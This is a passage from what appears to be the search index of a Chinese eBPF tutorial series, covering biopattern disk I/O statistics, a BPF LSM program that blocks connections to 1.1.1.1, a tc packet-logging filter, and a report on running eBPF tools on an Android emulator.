(env.interval)。 打印映射 :调用 print_map 函数打印 BPF 映射中的统计数据。 退出条件 :如果收到退出信号 (exiting 为 true) 或者达到指定的运行次数 (env.times 达到 0),则退出循环。 打印映射函数: static int print_map(struct bpf_map *counters, struct partitions *partitions) { __u32 total, lookup_key = -1, next_key; int err, fd = bpf_map__fd(counters); const struct partition *partition; struct counter counter; struct tm *tm; char ts[32]; time_t t; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_lookup_elem(fd, &next_key, &counter); if (err < 0) { fprintf(stderr, \"failed to lookup counters: %d\\n\", err); return -1; } lookup_key = next_key; total = counter.sequential + counter.random; if (!total) continue; if (env.timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-9s \", ts); } partition = partitions__get_by_dev(partitions, next_key); printf(\"%-7s %5ld %5ld %8d %10lld\\n\", partition ? partition->name : \"Unknown\", counter.random * 100L / total, counter.sequential * 100L / total, total, counter.bytes / 1024); } lookup_key = -1; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_delete_elem(fd, &next_key); if (err < 0) { fprintf(stderr, \"failed to cleanup counters: %d\\n\", err); return -1; } lookup_key = next_key; } return 0; } print_map 函数负责从 BPF 映射中读取统计数据,并将其打印到控制台。其主要逻辑如下: 遍历 BPF 映射 :使用 bpf_map_get_next_key 和 bpf_map_lookup_elem 函数遍历 BPF 映射,获取每个设备的统计数据。 计算总数 :计算每个设备的随机和顺序 I/O 的总数。 打印统计数据 :如果启用了时间戳 (env.timestamp 为 true),则首先打印当前时间。接着,打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量(以 KB 为单位)。 清理 BPF 映射 :为了下一次的统计,使用 bpf_map_get_next_key 和 bpf_map_delete_elem 函数清理 BPF 映射中的所有条目。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 用户态代码","id":"115","title":"用户态代码"},"116":{"body":"在本教程中,我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性,以及它们对系统性能的影响。接着,我们详细介绍了 biopattern 的工作原理,包括如何定义和使用 BPF maps,如何处理不同版本的 Linux 内核中的追踪点变化,以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 完整代码: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/17-biopattern bcc 工具: https://github.com/iovisor/bcc/blob/master/libbpf-tools/biopattern.c","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"116","title":"总结"},"117":{"body":"可以在这里找到更多关于 eBPF 的信息: https://github.com/zoidbergwill/awesome-ebpf https://ebpf.io/","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"117","title":"更多的参考资料"},"118":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此,本文将介绍如何使用 eBPF LSM(Linux Security Modules)机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程:使用 LSM 进行安全检测防御","id":"118","title":"eBPF 入门实践教程:使用 LSM 进行安全检测防御"},"119":{"body":"LSM 从 Linux 2.6 开始成为官方内核的一个安全框架,基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后,系统开发人员已经能够自由地实现函数粒度的安全检查能力,本文就提供了这样一个案例:限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。(可见其控制精度是很高的)","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"119","title":"背景"},"12":{"body":"eBPF 介绍: https://ebpf.io/ BPF Compiler Collection (BCC): https://github.com/iovisor/bcc eunomia-bpf: https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程源代码。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"LSM(Linux Security Modules)是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点,从而实现了内核和安全模块的解耦,使不同的安全模块可以自由地在内核中加载/卸载,无需修改原有的内核代码就可以加入安全检查功能。 在过去,使用 LSM 主要通过配置已有的安全模块(如 SELinux 和 AppArmor)或编写自己的内核模块;而在 Linux 5.7 引入 BPF LSM 机制后,一切都变得不同了:现在,开发人员可以通过 eBPF 编写自定义的安全策略,并将其动态加载到内核中的 LSM 挂载点,而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于: 对文件的打开、创建、删除和移动等; 文件系统的挂载; 对 task 和 process 的操作; 对 socket 的操作(创建、绑定 socket,发送和接收消息等); 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"120","title":"LSM 概述"},"121":{"body":"首先,请确认内核版本高于 5.7。接下来,可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下,可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项,如果输出不包含(像上面的例子),可以通过修改 /etc/default/grub: GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置(不同系统的对应命令可能不同),然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"121","title":"确认 BPF LSM 是否可用"},"122":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include \n#include \n#include char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码,它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作,其中: SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点; 程序通过 BPF_PROG 宏定义(详情可查看 tools/lib/bpf/bpf_tracing.h ); restrict_connect 是 BPF_PROG 宏要求的程序名; ret 是该挂载点上(潜在的)当前函数之前的 LSM 检查程序的返回值; 整个程序的思路不难理解: 首先,若其他安全检查函数返回值不为 0(不通过),则无需检查,直接返回不通过; 接下来,判断是否为 IPV4 的连接请求,并比较试图连接的地址是否为 1.1.1.1; 若请求地址为 1.1.1.1 则拒绝连接,否则允许连接; 在程序运行期间,所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"122","title":"编写 eBPF 程序"},"123":{"body":"通过容器编译: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译: $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行: sudo ecli run package.json 接下来,可以打开另一个 terminal,并尝试访问 1.1.1.1: $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时,我们可以查看 bpf_printk 的输出: $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"123","title":"编译运行"},"124":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中,我们通过 BPF_PROG 宏定义函数,并通过 SEC 宏指定挂载点;在函数实现上,遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则,并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"124","title":"总结"},"125":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"125","title":"参考"},"126":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制","id":"126","title":"eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制"},"127":{"body":"Linux 的流量控制子系统(Traffic Control, tc)在内核中存在了多年,类似于 iptables 和 netfilter 的关系,tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架,主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始,tc 增加了一些新的挂载点,并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"127","title":"背景"},"128":{"body":"从协议栈上看,tc 位于链路层,其所在位置已经完成了 sk_buff 的分配,要晚于 xdp。为了实现对数据包发送和接收的控制,tc 使用队列结构来临时保存并组织数据包,在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc(Queueing discipline),其对外暴露数据包入队和出队的两个回调接口,并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构,其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑,返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时,其入队接口被调用,其上挂载的 filter 被依次执行直到一个 filter 匹配成功;此后数据包被送入该 filter 指向的 class,进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制,即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理,实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式,它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值,而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在,eBPF 程序可以被挂载到特定的 qdisc 上,并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"128","title":"tc 概述"},"129":{"body":"#include \n#include \n#include \n#include #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序,它可以通过 Linux TC(Transmission Control)来捕获数据包并进行处理。在这个程序中,我们限定了只捕获 IPv4 协议的数据包,然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live(TTL)字段的值。 需要注意的是,我们在代码中使用了一些 BPF 库函数,例如 bpf_htons 和 bpf_ntohs 函数,它们用于进行网络字节序和主机字节序之间的转换。此外,我们还使用了一些注释来为 TC 提供附加点和选项信息。例如,在这段代码的开头,我们使用了以下注释: /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点,并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之,这段代码实现了一个简单的 eBPF 程序,用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"129","title":"编写 eBPF 程序"},"13":{"body":"在本篇博客中,我们将深入探讨eBPF(Extended Berkeley Packet Filter)的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具,它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇,我们将重点关注如何编写一个简单的eBPF程序,并通过实际例子演示整个开发流程。在阅读本教程之前,建议您先学习第一篇教程,以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时,有多种开发框架可供选择,如 BCC(BPF Compiler Collection)libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异,但它们的基本开发流程大致相同。在接下来的内容中,我们将深入了解这些流程,并以 Hello World 程序为例,带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程,您将掌握eBPF开发的基本知识,并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World,基本框架和开发流程 » eBPF 入门开发实践教程一:Hello World,基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程一:Hello World,基本框架和开发流程"},"130":{"body":"通过容器编译: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译: $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行: sudo ecli run ./package.json 可以通过如下方式查看程序的输出: $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编译运行","id":"130","title":"编译运行"},"131":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备,并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"131","title":"总结"},"132":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"132","title":"参考"},"133":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境,并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"133","title":"在 Andorid 上使用 eBPF 程序"},"134":{"body":"截至目前(2023-04),Android 还未对 eBPF 程序的动态加载做出较好的支持,无论是以 bcc 为代表的带编译器分发方案,还是基于 btf 和 libbpf 的 CO-RE 方案,都在较大程度上离不开 Linux 环境的支持,无法在 Android 系统上很好地运行 [1] 。 虽然如此,在 Android 平台上尝试 eBPF 也已经有了一些成功案例,除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ,也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路,并开发了相关工具。 目前已有的资料,大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱,并对 bcc 和 bpftrace 相关工具链进行测试,而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料,如: SeeFlowerX: https://blog.seeflower.dev/category/eBPF/ evilpan: https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像,并在其中构建整个 bcc 工具链,从而使用 eBPF 工具。如果想要使用 bpftrace,原理也是类似的。 事实上,高版本的 Android 内核已支持 btf 选项,这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目,旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式,其核心依赖是 libbpf,相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"134","title":"背景"},"135":{"body":"Android Emulator(Android Studio Flamingo | 2022.2.1) AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64(5.15.41-android13-8-00055-g4f5025129fe8-ab8949913)","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"135","title":"测试环境"},"136":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs,同时还需要获取该项目的 assets 目录来构建环境; 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device; 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中: ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限: ./adb shell su 在 Android shell 中构建并进入 debian 环境: mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此,测试 eBPF 所需的 Linux 环境已经构建完毕。此外,在 Android shell 中(未进入 debian 时)可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前,eadb 打包的 debian 环境存在 libc 版本低,缺少的工具依赖较多等情况;并且由于内核编译选项不同,一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"136","title":"环境搭建"},"137":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地,具体的构建过程,可以参考仓库的 build.md 。在本次测试中,笔者选用了 ecc 编译生成 package.json 的方式,该工具的构建和使用方式请参考 仓库页面 。 在构建过程中,可能需要自行安装包括但不限于 curl,pkg-config,libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"137","title":"工具构建"},"138":{"body":"有部分 eBPF 程序可以成功在 Android 上运行,但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"138","title":"结果"},"139":{"body":"bootstrap 运行输出如下: TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面: TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面: TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"139","title":"成功案例"},"14":{"body":"在开始编写eBPF程序之前,我们需要准备一个合适的开发环境,并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World,基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"opensnoop 例如 opensnoop 工具,可以在 Android 上成功构建,但运行报错: libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项,导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"140","title":"一些可能的报错原因"},"141":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的,在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例,例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些,原因主要是以下两个方面: 内核编译选项未支持相关 eBPF 功能; eadb 打包的 Linux 环境较弱,缺乏必须依赖; 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境,但 Android 内核本身对 eBPF 的支持已较为全面,本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入,目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大,同时由于 eBPF 工具需要 root 权限,普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"141","title":"总结"},"142":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"142","title":"参考"},"143":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"143","title":"http"},"144":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"144","title":"eBPF sockops 示例"},"145":{"body":"网络连接本质上是 socket 之间的通讯,eBPF 提供了一个 bpf_msg_redirect_hash 函数,用来将应用发出的包直接转发到对端的 socket,可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分,即根据当前的数据包信息,从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方,将 socket 信息保存到 sock_map,并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 